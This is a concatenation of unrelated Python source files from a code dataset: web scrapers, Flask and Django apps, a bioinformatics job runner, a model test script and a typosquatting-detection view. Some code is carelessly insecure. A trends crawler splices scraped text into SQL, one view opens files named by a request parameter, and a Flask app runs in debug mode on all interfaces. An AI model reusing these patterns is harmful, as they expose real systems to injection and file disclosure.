redirect('/edit_order/{}'.format(str(order_id)))\r\n order = om.get(order_id)\r\n options = (\r\n 'Формируется к отправке',\r\n 'Едет в пункт выдачи',\r\n 'Ждёт в пункте выдачи',\r\n 'Получен'\r\n )\r\n return render_template('edit_order.html', title='Изменить статус',\r\n order=order, options=options,\r\n cart_items=cart_len())\r\n\r\n\r\n@app.route('/delete_order/')\r\ndef delete_order(order_id):\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n om = OrdersModel(orders_db.get_connection())\r\n om.init_table()\r\n om.delete(order_id)\r\n return redirect('/')\r\n\r\n\r\nif __name__ == '__main__':\r\n db = DB('users')\r\n goods_db = DB('goods')\r\n orders_db = DB('orders')\r\n um = UsersModel(db.get_connection())\r\n um.init_table()\r\n app.run(port=8080, host='127.0.0.1', debug=False)\r\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":17051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"65128079","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup\nimport os\nimport json\nimport platform\n\n\ndef init_browser():\n if platform.system().lower() == 'windows'.lower():\n executable_path = {\n 'executable_path':\n os.path.join(os.getcwd(), 'chromedriver.exe')}\n return Browser('chrome', **executable_path, headless=True)\n else:\n return Browser('chrome', headless=True)\n\n\nbr = init_browser()\n\n\ndef get_html(browser, url):\n browser.visit(url)\n html = browser.html\n return html\n\n\ndef get_listings(html):\n soup = BeautifulSoup(html, \"html.parser\")\n stops = soup.find_all('tr', attrs={'height': 25})\n collection = []\n for stop in stops:\n try:\n collection.append(stop.find('span', class_='emphasized').text)\n except Exception as e:\n print(e)\n collection = [\n name.replace('\\n', '').replace(' /', '').replace(' ', '') for name in collection\n ]\n collection = [\n name.replace('\\t', '').replace('Street', 'St').replace('Avenue', 'Av')\n .replace('Road', 'Rd').replace('Square', 'Sq') for name in collection\n ]\n for i, name in enumerate(collection):\n if name[0] == ' ':\n collection[i] = name[1:]\n elif name[-1] == ' ':\n collection[i] = name[:-1]\n collection = [name.replace('-', ' - ') for name in collection]\n return collection\n\n\ncodes = {'A': 'aline', 'C': 'cline', 'E': 'eline',\n 'B': 'bline', 'D': 'dline', 'F': 'fline',\n 'M': 'mline', 'L': 'lline', 'J': 'jline',\n 'Z': 'zline', 'N': 'nline', 'Q': 'qline',\n 'R': 'rline', '1': 'oneline', '2': 'twoline',\n '3': 'threelin', '4': 'fourline', '5': 'fiveline',\n '6': 'sixline', '7': 'sevenlin'}\n\nstopcache = {}\nfor code in list(codes.items()):\n stop_list = get_listings(get_html(br, f'http://web.mta.info/nyct/service/{code[1]}.htm'))\n stopcache[code[0]] = stop_list\n\nwith open('stops.json', 'w') as fp:\n json.dump(stopcache, fp)\n","sub_path":"scrape_stops.py","file_name":"scrape_stops.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"252362594","text":"#-*- coding: utf-8 -*-\n\nfrom django import forms\nfrom django.db import models\nfrom django.forms import fields\n\n\n\"\"\"\nfull_url = URLField(default_protocol=\"http\",\n protocols=[\"https\",\"ssh\",\"mailto\"])\nurl = URLField()\n\"\"\"\n\n\nclass URLField(models.Field):\n \"\"\"\n Custom Django URLField that takes acceptable protocols.\n \"\"\"\n description = \"URL Field\"\n __metaclass__ = models.SubfieldBase\n\n def __init__(self, default_protocol=\"http\", protocols=[], *args, **kwargs):\n \"\"\"\n Setup the URLField with parameters and a max_length\n \"\"\"\n #Sets the max length of 4096 in the database.\n kwargs['max_length'] = kwargs.get(\"max_length\", 4096)\n #Sets the default protocol\n self.default_protocol = default_protocol\n #Makes sure protocols is a list, as I insert to the list later.\n if type(protocols) is list:\n self.protocols = protocols\n else:\n raise ValueError(\"protocols must be a list\")\n super(URLField, self).__init__(*args, **kwargs)\n\n def to_python(self, value):\n \"\"\"\n Either return a blank string, or the url.\n \"\"\"\n if not value:\n return \"\"\n elif isinstance(value, basestring):\n return value\n\n def db_type(self, connection):\n \"\"\"\n Set as VARCHAR for Postgres.\n \"\"\"\n #TODO: Set up multiple backend testing.\n return \"VARCHAR(%s) NOT NULL DEFAULT ''::character varying\" % \\\n (self.max_length, )\n\n def formfield(self, **kwargs):\n \"\"\"\n Setup to use the URLFieldForm for our fields form.\n \"\"\"\n defaults = {'form_class': URLFieldForm}\n defaults['default_protocol'] = self.default_protocol\n defaults['protocols'] = self.protocols\n defaults.update(kwargs)\n return super(URLField, self).formfield(**defaults)\n\n def get_prep_value(self, value):\n \"\"\"\n This will check whether the url is either:\n Protocolless - (and appends a default_protocol to the beginning)\n has a correct protoco - (returns the url)\n If neither of these are a result, it will error with an appropriate\n error message\n \"\"\"\n if not value:\n return None\n else:\n url_parts = str(value).split(\"://\")\n if len(url_parts) == 1:\n value = \"%s://%s\" % (self.default_protocol, value)\n return value\n elif len(url_parts) == 2:\n if url_parts[0].lower() in self.protocols or\\\n url_parts[0].lower() == self.default_protocol:\n if url_parts[1]:\n return value\n else:\n raise forms.ValidationError(\n \"Must supply more than just a protocol.\")\n else:\n acceptable = self.protocols\n acceptable.insert(0, self.default_protocol)\n raise forms.ValidationError(\n \"Protocol not accepted. (%s) MUST BE %s\" %\n (url_parts[0], acceptable))\n else:\n raise forms.ValidationError(\"Not a well formatted URL\")\n\n\nclass URLFieldForm(fields.CharField):\n \"\"\"\n Custom Django URLFieldForm\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"\n Setup the URLField with parameters and a max_length\n \"\"\"\n self.default_protocol = kwargs.pop(\"default_protocol\", \"http\")\n self.protocols = kwargs.pop(\"protocols\", [])\n\n dwargs = {\n 'required': False, 'label': None, 'blank': True, 'initial': None,\n 'help_text': None, 'error_messages': None,\n 'show_hidden_initial': None,\n }\n for attr in dwargs:\n if attr in kwargs:\n dwargs[attr] = kwargs[attr]\n\n super(URLFieldForm, self).__init__(*args, **kwargs)\n\n def clean(self, value):\n \"\"\"\n This will check whether the url is either:\n Protocolless - (and appends a default_protocol to the beginning)\n has a correct protoco - (returns the url)\n If neither of these are a result, it will error with an appropriate\n error message\n \"\"\"\n if not value:\n return None\n else:\n url_parts = value.split(\"://\")\n if len(url_parts) == 1:\n value = \"%s://%s\" % (self.default_protocol, value)\n return value\n elif len(url_parts) == 2:\n if url_parts[0].lower() in self.protocols or\\\n url_parts[0].lower() == self.default_protocol:\n if url_parts[1]:\n return value\n else:\n raise forms.ValidationError(\n \"Must supply more than just a protocol.\")\n else:\n acceptable = self.protocols\n acceptable.insert(0, self.default_protocol)\n raise forms.ValidationError(\n \"Protocol not accepted. (%s) MUST BE %s\" %\n (url_parts[0], acceptable))\n else:\n raise forms.ValidationError(\"Not acceptable URL\")\n","sub_path":"fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395647824","text":"from flask import Flask, render_template, request \n\n#using the flask app to create a web server\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n@app.route('/')\ndef hello():\n return render_template(\"index.html\")\n\n@app.route('/welcome', methods=['GET', 'POST'])\ndef welcome():\n if request.method == \"POST\":\n #this is collecting the responses from the form in index\n animal=request.form.get('animal')\n country=request.form.get('country')\n pluralNoun=request.form.get('pluralNoun')\n food=request.form.get('food')\n screen=request.form.get('screen')\n noun=request.form.get('noun')\n verb=request.form.get('verb')\n verb2=request.form.get('verb2')\n adjective=request.form.get('adjective')\n #the data is returned within the story\n return \"The majestic \" + animal + \" has roamed the forests of \" + country + \" for thousands of years. Today, she wanders in search of \" + pluralNoun + \". She must find food to survive. While hunting for \" + food + \", she found a/an \" + screen + \" hidden behind a \" + noun + \". She has never seen anything like this before. What will she do? With the device between her teeth, she tries to \" + verb + \", but nothing happens. She takes it back to her family. When her family sees it, they quickly \" + verb2 + \". Soon, the device becomes \" + adjective + \", and the family decides to put it back where they found it.\"\n \n \n #the story is outputted to the welcome.html page\n return render_template(\"welcome.html\")\n\n\n\napp.run(debug=True, port=5000, host='0.0.0.0')\n\n","sub_path":"final/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138153601","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# Author   : liufeng\n# Create   : 2015/8/13 16:51\nimport time\n\nimport initconn, random\n\n\ndef initTopic():\n \"\"\"初始化话题表\"\"\"\n conn = initconn.getConn()\n cur = conn.cursor()\n\n for i in range(1, 101):\n value = [\n \"content\" + str(i),\n time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n \"path\" + str(i),\n str(1),\n str(1),\n str(1),\n str(1),\n random.randint(1, 5),\n str(i)\n ]\n cur.execute(\n 'insert into topic(content,c_time,picpath,pv,lv,sv,state,type_id,create_userid)'\n ' values(%s,%s,%s,%s,%s,%s,%s,%s,%s)',\n value)\n conn.commit()\n cur.close()\n conn.close()\n\n\nif __name__ == '__main__':\n initTopic()\n","sub_path":"src/main/py/com/ezb/jdb/datainit/topic.py","file_name":"topic.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"237395335","text":"'''\nCreated on Jun 23, 2011\n\n@author: oabalbin\n'''\n\n#import exome.variantEval.snps_annotator as ann\nfrom collections import defaultdict, deque\nfrom optparse import OptionParser\n\nfrom exome.jobs.base import JOB_SUCCESS, JOB_ERROR\nfrom exome.jobs.job_runner import qsub_cac, qsub_loc, run_local\nfrom exome.jobs.config import ExomePipelineConfig, ExomeAnalysisConfig\nfrom exome.variantEval.variant_intersector import variant_isec, SNPs_isec\nfrom exome.variantEval.snps_annotator import create_snps_annotation\n\n# Global Variables\nNODE_MEM=45000.0\nNODE_CORES=12\nSINGLE_CORE=1\nMEM_PER_CORE= int(float(NODE_MEM) / NODE_CORES)\n# wt=walltime\nWT_SHORT= \"24:00:00\"\nWT_LONG= \"60:00:00\" #\"100:00:00\"\n\n\ndef germline_analysis(configrun, analysis, snps_vcf, snps_annot_vcf,\n jobrunfunc, deps_list, do_dbSNP_isec=True):\n '''\n This function does a) intersect snps_vcf with dbSNP if isec=True\n Annotates the isec file.\n '''\n extra_mem = configrun.gatk_use_mem\n genomes = configrun.genomes['human']\n ref_genome, snpdb_vcf, indeldb_file = genomes.gatk_ref_genome, genomes.snpdb, \\\n genomes.indeldb\n hapmap_vcf, tgk_vcf = genomes.hapmap, genomes.OneKgenomes \n #vcfCodings parameters\n vcfCodSNP_genome = genomes.vcf_ref_genome\n annot_genelist = configrun.annot_genelist\n path_to_vcfCodSNPs = configrun.vcf_annot_path\n # email\n my_email=configrun.email_addresses\n # \n jobn=analysis.name \n # variant_isec(analysis, configrun, query_vcf_file, jobrunfunc, do_complement)\n snps_vcf_isec = snps_vcf.replace('.vcf','isec_known.vcf')\n snps_vcf_isec_annot= snps_vcf.replace('.vcf','.annot.vcf')\n\n do_complement=True \n jobidvcfh = variant_isec(analysis, configrun, snps_vcf, jobrunfunc, do_complement, snps_vcf_isec)\n\n commandA = create_snps_annotation(snps_vcf_isec, snps_vcf_isec_annot, \n snps_vcf_isec_annot, vcfCodSNP_genome, \n annot_genelist, path_to_vcfCodSNPs)\n \n jobidannA = jobrunfunc('germ.'+jobn, commandA, SINGLE_CORE, cwd=None, walltime=WT_SHORT, pmem=extra_mem, \n deps=jobidvcfh, stdout=None, email_addresses=my_email)\n \n return jobidannA\n \n\nif __name__ == '__main__':\n \n optionparser = OptionParser(\"usage: %prog [options] \")\n optionparser.add_option(\"-r\", \"--config_file\", dest=\"config_file\",\n help=\"file with run configuration\")\n optionparser.add_option(\"-a\", \"--analysis_file\", dest=\"analysis_file\",\n help=\"file with experiment configuration\") \n optionparser.add_option(\"-f\", \"--vcf_file\", dest=\"vcf_file\",\n help=\"file with experiment configuration\") \n \n optionparser.add_option(\"--local_cluster\", dest=\"local_cluster\", action=\"store_true\", default=False) \n optionparser.add_option(\"--local\", dest=\"local\", action=\"store_true\", default=False)\n optionparser.add_option(\"--cluster\", dest=\"cluster\", action=\"store_true\", default=False)\n optionparser.add_option(\"-p\", \"--processes\", type=int, dest=\"num_processors\", default=1)\n\n (options, args) = optionparser.parse_args() \n\n config = ExomePipelineConfig()\n config.from_xml(options.config_file)\n analysis = ExomeAnalysisConfig()\n analysis.from_xml(options.analysis_file, config.output_dir)\n #Default when called from the command line\n depends=None\n \n if not (options.local ^ options.cluster ^ options.local_cluster):\n optionparser.error(\"Must set either --local, --cluster or --local_cluster to run job\")\n if options.local:\n jobrunfunc = run_local\n elif options.cluster:\n jobrunfunc = qsub_cac\n elif options.local_cluster:\n jobrunfunc = qsub_loc\n \n \n germline_analysis(config, analysis, options.vcf_file, options.vcf_file.replace('.vcf','.annot.vcf'),\n jobrunfunc, depends, do_dbSNP_isec=True)\n \n\n","sub_path":"exome/trunk/exome/variantEval/germline_variants.py","file_name":"germline_variants.py","file_ext":"py","file_size_in_byte":3986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"348983941","text":"\"\"\"\nCopyright [2009-2017] EMBL-European Bioinformatics Institute\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nfrom aiohttp_swagger import setup_swagger\nfrom .views import index, submit_job, job_status, job_result, job_done, rnacentral_databases, job_results_urs_list, \\\n facets, facets_search\nfrom . import settings\n\n\ndef setup_routes(app):\n app.router.add_post('/api/submit-job', submit_job, name='submit-job')\n app.router.add_get('/api/job-status/{job_id:\\d+}', job_status, name='job-status')\n app.router.add_get('/api/job-result/{job_id:\\d+}', job_result, name='job-result')\n app.router.add_post('/api/job-done', job_done, name='job-done')\n app.router.add_get('/api/rnacentral-databases', rnacentral_databases, name='rnacentral-databases')\n app.router.add_get('/api/job-results-urs-list/{job_id:\\d+}', job_results_urs_list, name='job-results-urs-list')\n app.router.add_get('/api/facets/{job_id:\\d+}', facets, name='facets')\n app.router.add_get('/api/facets-search/{job_id:\\d+}', facets_search, name='facets-search')\n setup_static_routes(app)\n\n # setup swagger documentation\n setup_swagger(app, swagger_url=\"api/doc\")\n\n # cover-all index url goes last, even after swagger\n app.router.add_get('/{tail:.*}', index, name='index')\n\n\ndef setup_static_routes(app):\n app.router.add_static('/dist/', path=settings.PROJECT_ROOT / 'static' / 'dist', name='static')\n","sub_path":"producer/producer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"5637132","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nimport feedparser\nimport mysql.connector\nfrom datetime import datetime, timedelta\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ncnx = mysql.connector.connect(user='--', password='--',\n host='--',\n database='--',\n\t\t\t port = 3216)\ndbcursor = cnx.cursor()\n\nprint(\"parse google...\")\n\nd = feedparser.parse('https://www.google.com/trends/hottrends/atom/feed?pn=p23')\n\nindex = 0\n\nfor item in d['entries']:\n\tindex += 1\n\tpub_date = datetime.strptime(item['published'], '%a, %d %b %Y %H:%M:%S +0900')\n\tpub_date += timedelta(hours=6)\n\tpub_date_str = pub_date.strftime('%Y-%m-%d %H:%M:%S')\n\ttitle_str = item['title']\n\n\tadd_keyword = (\"INSERT INTO `TrendCrawler`.`TrendKeywordRank` \"\n\t\t\t\"( `site`, `keyword`, `rank`, `date`) VALUES (%s, \\\"\"\n\t\t\t+ title_str +\n\t\t\t\"\\\", %s, now())\")\n\tdata_keyword = ('google', index);\n\n\tdbcursor.execute(add_keyword, data_keyword)\n\ncnx.commit()\n\ndbcursor.close()\nprint(\"success\")\ncnx.close()\n","sub_path":"python/google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212052923","text":"import time\n\nimport torch\nimport tqdm\nfrom sklearn.metrics import roc_auc_score\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import DataLoader\n\nfrom torchfm.dataset.avazu import AvazuDataset\nfrom torchfm.dataset.criteo import CriteoDataset\nfrom torchfm.dataset.movielens import MovieLens1MDataset, MovieLens20MDataset\n\n\ndef get_dataset(name, path):\n if name == 'movielens1M':\n return MovieLens1MDataset(path)\n elif name == 'movielens20M':\n return MovieLens20MDataset(path)\n elif name == 'criteo':\n return CriteoDataset(path, cache_path='.criteo_test')\n elif name == 'avazu':\n return AvazuDataset(path)\n else:\n raise ValueError('unknown dataset name: ' + name)\n\n\ndef load_model():\n save_path = '/home/eduapp/pytorch-fm/examples/model/dcn_20201103__12_37_51.pt'\n save_path = '/home/eduapp/pytorch-fm/examples/model/afn_20201103__14_00_39.pt'\n save_path = '/home/eduapp/pytorch-fm/examples/model/xdfm_20201103__17_19_23.pt'\n model = torch.load(save_path)#.to(device)\n # print(model.eval())\n print(model)\n return model\n\n\ndef test(model, data_loader, device):\n model.eval()\n targets, predicts = list(), list()\n result_list = []\n result_pred_true = [] # 预测为正的样本概率分布\n\n for fields, target in tqdm.tqdm(data_loader, smoothing=0, mininterval=1.0):\n fields, target = fields.to(device).long(), target.to(device).long()\n y = model(fields)\n targets.extend(target.tolist())\n predicts.extend(y.tolist())\n\n\n print('========pred result list save to file================')\n for i in range(len(targets)):\n result_list.append(str(targets[i]) + ',' + str(predicts[i]) + '\\n')\n # 预测为正的样本中,有多少实际为正的\n if predicts[i] >= 0.5:\n result_pred_true.append(str(targets[i]) + ', ' + str(predicts[i]) + '\\n')\n\n file = open('result_list.txt', \"w\")\n file.writelines(result_list)\n file.close()\n\n file = open('result_list_true.txt', \"w\")\n file.writelines(result_pred_true)\n file.close()\n\n\n from sklearn.metrics import classification_report\n arr = []\n for x in predicts:\n # print(x)\n arr.append(1) if x >= 0.5 else arr.append(0)\n\n print(classification_report(targets, arr))\n\n auc = roc_auc_score(targets, predicts)\n print('auc={}'.format(auc))\n\n\nif __name__ == '__main__':\n model = load_model()\n device = torch.device('cpu')\n dataset_path = '/home/eduapp/best_flow/release-1.1.0/train_data/202011/dnn_part_test.csv'\n\n t1 = time.time()\n dataset = get_dataset('criteo', dataset_path)\n train_length = 0\n valid_length = 0\n test_length = len(dataset) - train_length - valid_length\n train_dataset, valid_dataset, test_dataset = torch.utils.data.random_split(\n dataset, (train_length, valid_length, test_length))\n\n test_data_loader = DataLoader(test_dataset, batch_size=64, num_workers=0)\n print('dataset time={}'.format(time.time() - t1))\n test(model, test_data_loader, device)","sub_path":"examples/test_torch_load.py","file_name":"test_torch_load.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"547690247","text":"from django.views import generic\nfrom .forms import WebForm\nfrom django.shortcuts import render\nfrom django.conf import settings\nfrom .masternode import setupConnections,gatherTypoSquatSites\nfrom .workernode import start_worker\nimport signal\nimport time\nimport os\nimport re\nimport threading\n#from models import Post\n\n#change!\ndef HomeView(request):\n if request.method == 'GET':\n form = WebForm()\n return render(request, \"home.html\", {'form':form})\n# model = Post\n# context_object_name = \"post\"\n\ndef HTMLView(request):\n htmlname=request.GET.get('htmlname')\n htmlstr=\"\"\n title=\"\"\n num=htmlname.index('/')\n num+=1\n title=htmlname[(num+1):].replace(\"_\",\".\")\n\n pngstr=\"/data/\"+htmlname+\".png\"\n f=open(\"./data/\"+htmlname + \".html\")\n for lines in f:\n htmlstr+=lines\n f.close()\n return render(request,\"htmlpg.html\",{'htmlstr':htmlstr,'pngstr':pngstr,'title':title})\n\ninit = True\ndef ResultView(request):\n global init\n if request.method =='POST':\n form = WebForm(request.POST)\n if form.is_valid():\n print(\"Request Gotten!\")\n Input = form.data[\"weburl\"]\n if (Input.startswith(\"https://\")):\n Input = Input[len(\"https://\"):]\n if (Input.startswith(\"http://\")):\n Input = Input[len(\"http://\"):]\n # Execute Master + Worker Nodes Here\n # masternode setup -Nathan\n # signal.signal(signal.SIGINT, shutdown)\n if init:\n setupConnections()\n init = False\n if not os.path.isdir(\"./data/{}\".format(Input)):\n typoThread = threading.Thread(target = gatherTypoSquatSites, args = (Input,))\n typoThread.setDaemon(True)\n typoThread.start()\n #time.sleep(5)\n return render(request, \"result.html\", {'input':Input, 'MEDIA_URL':settings.MEDIA_URL})\n","sub_path":"typosquatted/typosquatted/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267692170","text":"from django.shortcuts import render\nfrom joblib import load\n\n# Create your views here.\n\ndef index(req):\n model = load('./chat_group/static/chatgroup.model')\n label = ['']\n chat = \"\"\n if req.method == 'POST':\n print(\"POST IN\")\n chat = str(req.POST['chat'])\n label = model.predict([chat])\n return render(req, 'chat_group/index.html' ,{\n 'label':label[0],\n 'chat':chat,\n })\n\n","sub_path":"chat_group/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"310410170","text":"# Copyright (C) 2010 California Institute of Technology, All rights reserved\n# Author: Andrew D. Straw\nimport os\nimport cgtypes # cgkit 1.x\n\nfrom matplotlib import rcParams\n\nrcParams['svg.fonttype'] = 'none' # No text as paths. Assume font installed.\nrcParams['font.family'] = 'sans-serif'\nrcParams['font.sans-serif'] = ['Arial'] # lucid: ttf-mscorefonts-installer\n\nfont_size = 10\nrcParams['axes.labelsize'] = font_size\nrcParams['xtick.labelsize'] = font_size\nrcParams['ytick.labelsize'] = font_size\n\nimport fsee.Observer\nimport fsee.plot_utils\nimport numpy as np\n\nD2R = np.pi/180.0\n\n\nmodel_path=os.path.abspath('auto_scene_gen/expanding_wall.osg')\nvision = fsee.Observer.Observer(model_path=model_path,\n hz=200.0,\n full_spectrum=True,\n optics='buchner71',\n do_luminance_adaptation=False,\n skybox_basename=os.path.join(fsee.data_dir,'Images/osgviewer_cubemap/'),\n )\nif 1:\n angle = 30*D2R\n dist2 = -1.5\n dist3 = 0.5\n ext = 'svg'\n\n # view from fly position\n pos_vec3 = cgtypes.vec3(0,0,10.0)\n ori_quat = cgtypes.quat().fromAngleAxis( angle,(0,0,1))\n vision.step(pos_vec3,ori_quat)\n vision.save_last_environment_map('expanding_wall1.png')\n\n R=vision.get_last_retinal_imageR()\n G=vision.get_last_retinal_imageG()\n B=vision.get_last_retinal_imageB()\n #emds = vision.get_last_emd_outputs()\n fsee.plot_utils.plot_receptor_and_emd_fig(\n R=R,G=G,B=B,#emds=emds,\n save_fname='expanding_wall_flyeye1.%s'%ext,\n optics = vision.get_optics(),\n proj='stere',\n dpi=200)\n\n pos_vec3 = cgtypes.vec3(dist2*np.cos(angle),dist2*np.sin(angle),10.0)\n ori_quat = cgtypes.quat().fromAngleAxis( angle,(0,0,1))\n vision.step(pos_vec3,ori_quat)\n vision.save_last_environment_map('expanding_wall2.png')\n\n R=vision.get_last_retinal_imageR()\n G=vision.get_last_retinal_imageG()\n B=vision.get_last_retinal_imageB()\n #emds = vision.get_last_emd_outputs()\n fsee.plot_utils.plot_receptor_and_emd_fig(\n R=R,G=G,B=B,#emds=emds,\n save_fname='expanding_wall_flyeye2.%s'%ext,\n optics = vision.get_optics(),\n proj='stere',\n dpi=200)\n\n pos_vec3 = cgtypes.vec3(dist3*np.cos(angle),dist3*np.sin(angle),10.0)\n ori_quat = cgtypes.quat().fromAngleAxis( angle,(0,0,1))\n vision.step(pos_vec3,ori_quat)\n vision.save_last_environment_map('expanding_wall3.png')\n\n R=vision.get_last_retinal_imageR()\n G=vision.get_last_retinal_imageG()\n B=vision.get_last_retinal_imageB()\n #emds = vision.get_last_emd_outputs()\n fsee.plot_utils.plot_receptor_and_emd_fig(\n R=R,G=G,B=B,#emds=emds,\n save_fname='expanding_wall_flyeye3.%s'%ext,\n optics = vision.get_optics(),\n proj='stere',\n dpi=200)\n","sub_path":"examples/expanding_wall.py","file_name":"expanding_wall.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170723598","text":"import unittest\nfrom selenium import webdriver\n\n\nclass BaseTestCase(unittest.TestCase):\n #_PLATFORM = 'LINUX'\n #_BROWSER = 'chrome'\n #_VERSION = 'VALLNX'\n URL = ''\n ENV = ''\n LNXRMT = {'browserName': 'chrome', 'version': 'VALLNX', 'platform': 'LINUX'}\n W7CHR = {'browserName': 'chrome', 'version': 'TESTSTAND2',\n 'platform': 'WIN7'}\n\n def setUp(self):\n if self.ENV == 'LINUX':\n des_cap = self.LNXRMT\n elif self.ENV == 'WIN7':\n des_cap = self.W7CHR\n else:\n des_cap = self.LNXRMT\n\n # create a new session\n # des_caps = {'browserName': self._BROWSER,\n # 'version': self._VERSION, 'platform': self._PLATFORM}\n\n self.driver = webdriver. \\\n Remote('http://msktool.rmcity.net:4444/wd/hub',\n desired_capabilities=des_cap)\n self.driver.implicitly_wait(10)\n self.driver.maximize_window()\n\n # navigate to the application home page\n self.driver.get(self.URL)\n\n def tearDown(self):\n # close the browser window\n self.driver.quit()\n","sub_path":"chapter_9/base/basetestcase.py","file_name":"basetestcase.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"148956583","text":"# https://atcoder.jp/contests/abc089/tasks/abc089_c\nimport sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\ndef resolve():\n s=\"MARCH\"\n n=int(input())\n k=[0]*5\n for _ in range(n):\n t=input()[0]\n if t in s: k[s.index(t)]+=1\n from itertools import combinations\n A=combinations(range(5),3)\n ans=0\n for a,b,c in A:\n ans+=k[a]*k[b]*k[c]\n print(ans)\nresolve()\n","sub_path":"ABC089/c_march.py","file_name":"c_march.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18206139","text":"from urllib.parse import urljoin\n\nimport scrapy\nfrom scrapy.loader import ItemLoader\n\nfrom week02.work01.work01.items import Work01Item\n\n\nclass MaoyanSpider(scrapy.Spider):\n name = 'maoyan'\n allowed_domains = ['maoyan.com']\n headers = {\n 'accept': (\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\"\n \"image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\"),\n 'accept-encoding': \"gzip, deflate, br\",\n 'accept-language': \"zh-CN,zh;q=0.9\",\n 'cache-control': \"no-cache\",\n 'connection': \"keep-alive\",\n 'host': \"maoyan.com\",\n 'sec-fetch-dest': \"document\",\n 'sec-fetch-mode': \"navigate\",\n 'sec-fetch-site': \"cross-site\",\n 'sec-fetch-user': \"?1\",\n 'referer': 'https://maoyan.com/films',\n 'upgrade-insecure-requests': \"1\",\n 'user-agent': (\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 \"\n \"(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\")\n }\n\n def start_requests(self):\n start_url = \"https://maoyan.com/films\"\n yield scrapy.Request(start_url, headers=self.headers)\n\n def parse(self, response, **kwargs):\n links = response.xpath(\n \"//div[@class='movie-item film-channel']//a[starts-with(@href, '/film')]/@href\").getall()\n if not links:\n self.logger.critical(\"未解析到链接,可能已触发反爬.\")\n links = links[:5] if len(links) >= 5 else links\n for link in links:\n yield scrapy.Request(\n urljoin(response.url, link), headers=self.headers, callback=self.parse_detail)\n\n def parse_detail(self, response):\n print(response.request.meta.get(\"proxy\"))\n selector = response.xpath(\"//div[@class='movie-brief-container']\")\n loader = ItemLoader(Work01Item(), selector=selector)\n loader.add_xpath(\"title\", \"./h1/text()\")\n loader.add_xpath(\"category\", \"./ul/li/a/text()\")\n loader.add_xpath(\"show_time\", \"./ul/li[3]/text()\")\n return loader.load_item()\n","sub_path":"week02/work01/work01/spiders/maoyan.py","file_name":"maoyan.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"648850339","text":"with open('log_init.template', 'r') as f:\n LOG_INIT = f.read()\n\nwith open('log_loop.template', 'r') as f:\n LOG_LOOP = f.read()\n\nwith open('init.template', 'r') as f:\n INIT = f.read()\n\nwith open('loop.template', 'r') as f:\n LOOP = f.read()\n\n\ndef make_log(name, log, obj):\n loop_part = LOG_LOOP.format(name=name, log=log, obj=obj)\n with open(f'../{name}_loop.mcfunction', 'w') as f:\n f.write(loop_part)\n\n init_part = LOG_INIT.format(name=name, log=log, obj=obj)\n with open(f'../{name}_init.mcfunction', 'w') as f:\n f.write(init_part)\n\n return name\n\n\ndef make(logs):\n init_calls = '\\n'.join(f'function timber:{log}_init' for log in logs)\n init_part = INIT.format(logs=init_calls)\n with open('../init.mcfunction', 'w') as f:\n f.write(init_part)\n\n loop_calls = '\\n'.join(f'function timber:{log}_loop' for log in logs)\n loop_part = LOOP.format(logs=loop_calls)\n with 